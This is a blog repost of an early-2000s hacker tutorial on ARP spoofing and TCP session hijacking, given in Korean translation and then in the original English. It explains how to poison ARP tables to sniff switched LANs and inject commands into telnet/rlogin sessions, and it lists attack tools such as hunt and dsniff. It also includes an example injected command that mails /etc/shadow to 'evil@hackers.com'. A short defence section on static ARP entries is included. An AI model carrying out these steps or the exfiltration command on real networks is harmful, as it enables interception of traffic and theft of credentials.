본문 바로가기

망각/Network

ARP 스푸핑 및 IP 하이재킹

출처: http://blog.naver.com/zsup1343/60003960931

ARP 스푸핑 및 IP 하이재킹 (Black Box Issue #13)
『Spoofing』

2004/07/11 21:33

http://blog.naver.com/zsup1343/60003960931

##############################################################
* Mr8 >WowCode && OverHead Member At Wowhacker<<EOF
* 의미전달이 안되시면, 원문을 참고하시고 번역에 대한 지적사항은
  언제나 환영합니다. "I Love FeedBack !"
#############################################################

ARP 스푸핑 과 IP 하이젝킹

        0. 권리의 포기
        1. 이 기법을 이해한다면 당신 할수 있는 것        
        2. 간략한 사전지식
        3. 공격
        4. IP 하이젝킹
        5. 유용한 도구들
        6. 당신의 시스템을 지키기
        7. 나의 다음 계획

0. 권리의 포기

hotmail,성인사이트,신용카드 번호를 어떻게 해킹하는지에 대해 물어보는
메일을 나에게 보내지 말기 바랍니다. 나는 나의 inbox를 살펴보고
당신의 메세지를 즉시 지워 버릴것입니다. 허나, 당신이 linux에 대한
어떤 source code, 어떤 새로운 생각, 최근의 이슈에 대한 내용을
보낼 생각이면 얼마든지 나에게 메일을 보내도 됩니다. 내가 이글을 쓴 목적은
TCP implementation의 취약점중 몇 부분을 단순히 알려주기 위해서입니다.
이 문서로 인한 당신의 행동에는 책임지지 않습니다.

1. 이 기법을 이해한다면 당신 할수 있는 것        
        - local 네트워크를 정복할수 있습니다.        
        - 설령 당신이 Switch LAN환경이라도 이동하는 모든 Packet를
          탐색할수 있습니다.
        -  telnet/ftp/rlogin/imap/pop3  연결에 대해서                          
           다른 유저의 재시작/가로채기/탐색이 가능합니다.    
        - 당신이 연결한 ISP 세그먼트/라우터의 완전한 제어가 가능합니다.
        - 인터넷에 연결된 사용자 패스워드의 초기화/캡쳐가 가능합니다.
          (ppp0을 사용중이라면)
        - 당신이 cable modem을 이용해 인터넷에 연결하더라도 역시 유용
          합니다.

2. 간략한 사전지식

아직, ARP(Address Resolution Protocol)에 대해서 알지 못합니까?
음, Window에서 다음과 같이 Type하면

        c:/>temp>arp -a

당신이 swithched LAN 세그먼트내에서 연결하고 있는 IP 주소 및 MAC 주소
에 대해서 볼수 있게 됩니다. (리눅스 역시 동일합니다.)

여기를 보면 atp table이 보여집니다.

C:\>arp -a

Interface: 169.254.0.2 on Interface 0x2000002
  Internet-address          MAC address               Type
  169.254.0.1            00-10-4b-01-88-f3           dynamic
  169.254.0.101          00-e0-4c-39-65-6d           dynamic


o 169.254.0.2  당신의 IP
o 0x2000002   당신이 사용중인 인터페이스의 코드(여기서는ppp0)
o 169.254.0.1  당신이 현재 연결중인 IP
o 00-10-4b-01-88-f3  해당 머신의 MAC 주소
o dynamic         연결 형태

내 컴과 169.254.0.1사이의 통신 상태에 대해서 알아 보겠습니다
나는 나의 IP,MAC주소에 대한 arp table을 가지고 있습니다.
이 값은 30초에 한번씩 갱신되게 됩니다. 만약, 악의를 가진 사용자가
169.254.0.1, 존재하지 않는 MAC주소를 포함한 허위 패킷을 나에게
보내면 어떻게 될까요? 최소한, 30초동안은 169.254.01과의 통신이
불가능해집니다. 공격자가 나의 세션을 가로채기엔 충분합니다.

네트워크 세그먼트의 다음 부분을 보시기 바랍니다.

A-------------->|
D-------------->|B--------------->C
E-------------->|

A,D,E는 B에 연결되었고, C는 오직 B에 연결되어있습니다. B는 중앙에
있고, 이것은 C,A,D,E가 오직 B와 함께 하는 traffic만을 스니퍼링할수
있다는 겁니다. C를 해커라 가정하고, 그가 모든것을 스니퍼링하고
싶어한다면, 그는 어떻게 해야 할까요? A,D,E,C는 B에 대한 그들의
arp table 목록을 지고 있고, B는 A,C,D,E의 것을 가지고 있습니다.
만약, A,D,E가 C에 대한 목록을 얻게 된다면, C는 트래픽을 스니퍼링
할수 있게 될것입니다. 달리말하면, C는 반드시 해당IP와 존재하지 않는
MAC주소를 포함하여 그들에게 arp 응답을 보내야만 합니다.
이 기법은 스위치 복사로 불리웁니다. A,D 그리고 E는 C에게 보내야할
패킷 의 MAC주소를 찾을수 없습니다. 그래서 C는 정보에 대한 스니퍼링
이 가능해 지는 겁니다.

3. 공격

LAN과 switched LAN에 적용됩니다. eth0 대신 ppp0을 사용하는 곳은
물론, 다른 모든 가능한 다바이스 에도  적용됩니다. 시작하기전에 약간의
주의사항이 있습니다.

o 허접은 평상적인 컴퓨터 사용자
o 서버는 서버
o 해커는 이 기법을 이해한 사람(크래커는 필요 없습니다.)

1) 허접이 SSH를 제외하고 telnet,rlogin,ftp등을 이용해 서버에 접속함
2) 해커는 허접에게 서버의 IP와 거짓 MAC 주소가 포함된 허위 패킷을
    보냄
3) 해커는 서버에게 바보의 IP와 거짓 MAC주소가 포함된 arp 패킷을
     보냄
4) 서버와 허접 사이의 연결은 30초간 정지
5) 해커는 허접처럼 위장하여 특정명령을 서버에 수행

~ 또 다른 시나리오 ~

1) 허접이 SSH를 제외하고 telnet,rlogin,ftp등을 이용해 서버에 접속함
2) 해커는 거짓 MAC주소를 포함한 arp 패킷을 허접에게 보냄
3) 해커는 거짓 MAC주소를 포함한 arp 패킷을 서버에게 보냄
4) 해커는 허접과 서버사이의 대화를 스니퍼링할수 있음
    지금 허접과 서버는 진짜 MAC주소를 찾을수 없기 때문에 송신자에게
    데이타를 보내게 됩니다. 해커에게로.

Pavel Krauszr가 제작한 hunt라는 탁월한 도구는, 데몬처럼 발견되도록
MAC을 만들고, 스위치에 연결되는 다른 디바이스를 검사를 가능하게
합니다. 위에서 살펴본 기법들이, LAN은 물론 Intenet에도 적용되게 말입니다.

4. IP 하이젝킹

나를 허접이라고 가정하고, 나는 보안관련 지식이 없으며 telnet과 ssh사이
의 차이점도 모릅니다. 나는 집에서 서버로 접속할때 telnet를 이용합니다.
나는 ID,PW를 입력하고, 어떠한 형태의 인증없이 Data들을 변화시킬
것입니다. 이때, 공격자는 스니퍼링을 하며 나의 SEQ/ACK 넘버를
잡아챌것이고 arp 공격을 사용하여 나의 접속을 초기화 시켜버린후
나의 공간에 명령어들을 집어 넣어 버리게 될것입니다. 그는 매우 손쉽게
나의 서버에 백도어를 만들수 있습니다.

#mail evil@hackers.com < /etc/shadow

그러나, 해커는 공격과 함께 발생한 ACK 폭풍의 방해를 막기위해
반드시 arp poisoning 이나 기타 SYN flooding 같은 방법을
통해 나를 서비스 거부를 시켜야 합니다. 케빈 미트닉이 어떻게
쪽바리의 네트워크를 해킹했는지 기억나시나요?
쪽바리는 그 네트워크이 주인이었기 때문에 rlogin을 사용중이었고
그렇기 때문에 시노무라는 해당 네트워크의 모든 컴퓨터를 믿고 있
었었던 것입니다. 미트닉은 신뢰하는 공간 밖에 위치했지만, 신뢰받고
있는 한 컴퓨터를 발견하였습니다. 예전 S/W는 ID 예측에 대한 문제점이
있었기 때문에 그는 손쉽게 seq/ack를 추측하였습니다.
오늘날 우리가 정확한 ID를 예측하는 것은 매우 어렵기 때문에 DNS
캐싱 poisoning/IP 스푸핑은 시도하기 어렵습니다. 그러나, arp 스푸핑
이 있습니다. 내가 생각하기엔, multithreaded 무차별 공격이 제대로
작동하게 된다면 당신이 행복해지기엔 충분할것입니다.

5. 도구들

Hunt는 테스트 해본 도구중 최상이었습니다.
(역자주 : 저자 마음대로 나열해서 역자 마음대로 생략 ㅡㅡV)

6. 당신의 시스템을 지키기

다음명령과 같이 arp table을 잠궈(static) 두기 바랍니다.
[root@server]#arp -v -i eth0 -s 213.233.70.1 00:31:6B:94:32:A8

당신은 위 명령으로 arp entrty의 삭제/갱신/추가가 안되는 문제점을
발견할수도 있습니다. 내가 아는 한도에서 FreeBSD는 정확한 인자를 포함하여
커널을 컴파일 한다면 완벽한 보안상태를 만들수 있습니다. 그 부분은 다른
관련 문서를 보시기 바랍니다.

7. 나의 다음 계획

LAN을 요구하지 않는 하이젝킹 도구를 만들지 모릅니다. 그것은 ppp0/eth0
에 해당하지만 인터넷상에서만 작동하게 될것입니다.
네,  나는 SEQ/ACK 인증 정보를 얻을수 없고 나는 그것을 무차별대입적으로 알아 내야
하므로 그것이 힘든일이 될것임을 압니다. 내가 운이 좋더라도, 그것은 상당히
많은 시간을 작업해야 완성 될것입니다. 그러나, 나에게 생각이 있습니다.
A multithreaded hijacking tool
이것이 가속도를 붙여 줄것입니다. 그러나, 나는 code에 관해 조금의 문제가
있습니다. 만약, 나를 도와 주고 싶다면 메일을 주기 바랍니다. 나는 무척
고마와 할것입니다.

oo 좋은 이들
zwanderer  - 이글을 읽는다면 그에게 감사해라
dataholic    - 리눅스 설치
suspect      - 조언가
Silver         -  영어 작문을 도와 준이

EOF
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>여기서 부터 원문
ARP spoofing and IP hijacking
                        
        By: nebunu <nebunu@home.ro>

        Disclamer ................................................ 0
        What you can do if you master this tehnique .............. 1
        A little background first ................................ 2
        The attack ............................................... 3
        IP hijacking ............................................. 4
        Tools .................................................... 5
        Securing your system ..................................... 6
        My incomming project ..................................... 7


0: Disclamer

Dont mail me to ask me how to hack hotmail,porn sites,credit cards numbers,
i'll just delete your message from my inbox!Feel free to email me if you
got some source code for linux,some new ideas or some decent comments.
I'm not responsable for your actions,this tutorial was written with the
only purpose to show some of the vulnerability of the TCP implementation.


1: What you can do if you master this tehnique

        -takeover completely a local network
        -observe every packet that travells trough a network even if you
        are on a switched LAN
        -reset/hijack/observe other users telnet/ftp/rlogin/imap/pop3                            
        connections
        -completely control your ISP segment/router you are connected on
        -reset/capture users passwords on your internet segment(just using
            ppp0)
        -things are even better if you are connected to Internet using a                  
        cablemodem


2: A little background first

You dont know yet what ARP(Address Resolution Protocol) stands for?
Well,if you are on Windows,type:

        c:/>temp>arp -a

while you are connected to net and you will see IP adresses and MAC
addresses of the switched LAN segment you are connected to.
(same thing on linux). Here is how an arp table looks like:

C:\>arp -a

Interface: 169.254.0.2 on Interface 0x2000002
  Internet-address          MAC address               Type
  169.254.0.1            00-10-4b-01-88-f3           dynamic
  169.254.0.101          00-e0-4c-39-65-6d           dynamic


o 169.254.0.2              is your IP address
o 0x2000002                is the code for your interface(in that case ppp0)
o 169.254.0.1              is the IP adress of the remote device you are                                      
                           connected to
o 00-10-4b-01-88-f3        is the MAC address of that machine
o dynamic                  the link type

Let's observe the communication between my machine and 169.254.0.1.
I got on my arp table it's IP and MAC,it has on it's arp table my IP and
MAC. These values are updated once at 30 secs. If a malicious user sends
me a spoofed packet which maps 169.254.0.1 with a non-existent MAC, i
wont be able to communicate with 169.254.0.1 for at least 30 seconds!!
Enough for an attacker to hijack my session.
Take the following piece of network segment:

A-------------->|
D-------------->|B--------------->C
E-------------->|

A,D,E are connected to B,C is only connected to B. B is in the middle,it
can sniff everything while C,A,D,E can only sniff their traffic with B.
Suppose C is a hacker and he wants to sniff everything,what must he do?
A,D,E,C has entries in their arp table for B,B has entries for A,C,D,E.
If A,D,E would have been entries for C,then C would be able to sniff the
traffic!! In order to achieve that C must send them an arp reply containing
his IP and a non-existent MAC address.This tehnique is called duping
switches.A,D and E wont be able to find that MAC and they will send
packets to C,so C is able to sniff the info!


3: The attack

This can be applied on a LAN or a switched LAN.Of course it can be applied
using ppp0 instead of eth0,and any other possible device. Before we begin
lets make some notifications.

o lamer is an ordinary computer user
o server is a server
o hacker is a person who masters this tehnique (not necessary a cracker)

        1)lamer connects to server using telnet,rlogin,ftp or anything else
        beside SSH
        2)hacker sends to lamer a spoofed arp packet containing server's IP
        along with an invalid MAC address
        3)hacker sends to server a spofed arp packet containing lamers's IP
        along with an invalid MAC address
        4)the connections between lamer and server is killed for almost
        30 seconds
        5)hacker can issue commands to server in lamer's place.

Another scenario:

        1)lamer connects to server using telnet,rlogin,ftp or anything else
        beside SSH
        2)hacker sends to lamer an arp packed containing an invalid MAC                  
        address
        3)hacker sends to server an arp packed containing an invalid MAC                  
        address
        4)hacker can sniff the conversation between lamer and server.Now                  
        lamer and server dont find a valid MAC address and sends their datas          
        to sender,in our case to hacker.

An excelent hijacking tool is hunt,written by Pavel Krausz.
It has a built in MAC discovery daemon,that lets you discover the other
devices connected to the switch. The tehnique explained above can be
applied on the Internet aswell as in a LAN!!


4: IP hijacking

Lets suppose I'm an ordinary computer user,i dont have security knowlegdes
and i dont see the difference between telnet and ssh.I use telnet from home
to start a session to my server. I enter my username and password.Then i
will exchange datas to server without any form of authentification. An
attacker being able to sniff around,will grab my SEQ/ACK numbers, reset my
connection using arp poisoning and then will insert commands in my place.
He can place easily a backdoor on my server!!(mail evil@hackers.com
< /etc/shadow it's enough :) But to stop ACK storm interfering with his
attack,a hacker must DoS me using arp poisoning or any other DoS method
like SYN flooding. Remember how Kevin Mitnick hacked Shimomoura's network?
Shimomoura was using rlogin becasue being the only owner of the network,
he trusted every computers from within. Mitnick,situated outside the
trusted zone,he impersoanted one of the trusted machines.
He easily guessed seq/ack's because the older software was vulnerable to
ID predictions. Today,DNS cache poisoning/IP spoofing from the internet is
hard because the right ID is very hard to predict.But,there is arp
spoofing :).And i think that multithreaded bruteforcer will work, if you
are lucky enough :)


5: Tools

Hunt-the best hijacking tools ever existed(I tested it) jarpspoofing-a
simple arp spoofing tool shijack-a simple hijacking tool published on
http://www.securiteam.com arpredirect-poison all hosts form your switched
LAN or only a chosen host tcpkill-kills TCP connections on a switched LAN
mailsnarf-sniff email messages and puts them into a readable file
tcpnice-slows the TCP connections on a LAN
dsniff-ftp/telnet/imap/sql/smb/x11/http password sniffer Sorry,i dont know
any spoofing/poisoning tools written for Windows.


6: Securing your system

Well, a command that locks arp table is:
[root@server]#arp -v -i eth0 -s 213.233.70.1 00:31:6B:94:32:A8

Once you issue that command that arp entry could not be  
deleted/updated/forged! As far as i know FreeBSD can be made completely
secure by compiling the kernel with right parameters, but something about
that on another tutorial :)


7: My incoming project

What i have in mind is to build a hijacking tool that not require a LAN,
it must work with ppp0/eth0 but only on Internet.Yeah,i know it's a bit
harder,because i wont be able to get SEQ/ACK authentification numbers and
i have to bruteforce them.It might take several days to work if i'm lucky,
but i have an idea.:). A multithreaded hijacking tool. That will speed
things up.But i have some problems with the code,if you can help me,please
email me,i'll be grateful.

oo Greetings
zwanderer        -if you are reading this,say thanks to him :)
dataholic        -c'mon man,install linux
suspect                -now you know why /tmp dir i so iportant? :)
Silver                -for correcting my lame english everytime i asked her to

'망각 > Network' 카테고리의 다른 글

TCP 패킷 조작  (0) 2007.05.25
네이트온 패킷 통신  (0) 2007.05.25
LAN 안의 노드들 MAC 알아내기  (0) 2007.03.20
[MAC] FF:FF:FF:FF:FF:FF mac 주소  (0) 2007.03.12
about things with packet  (0) 2007.02.03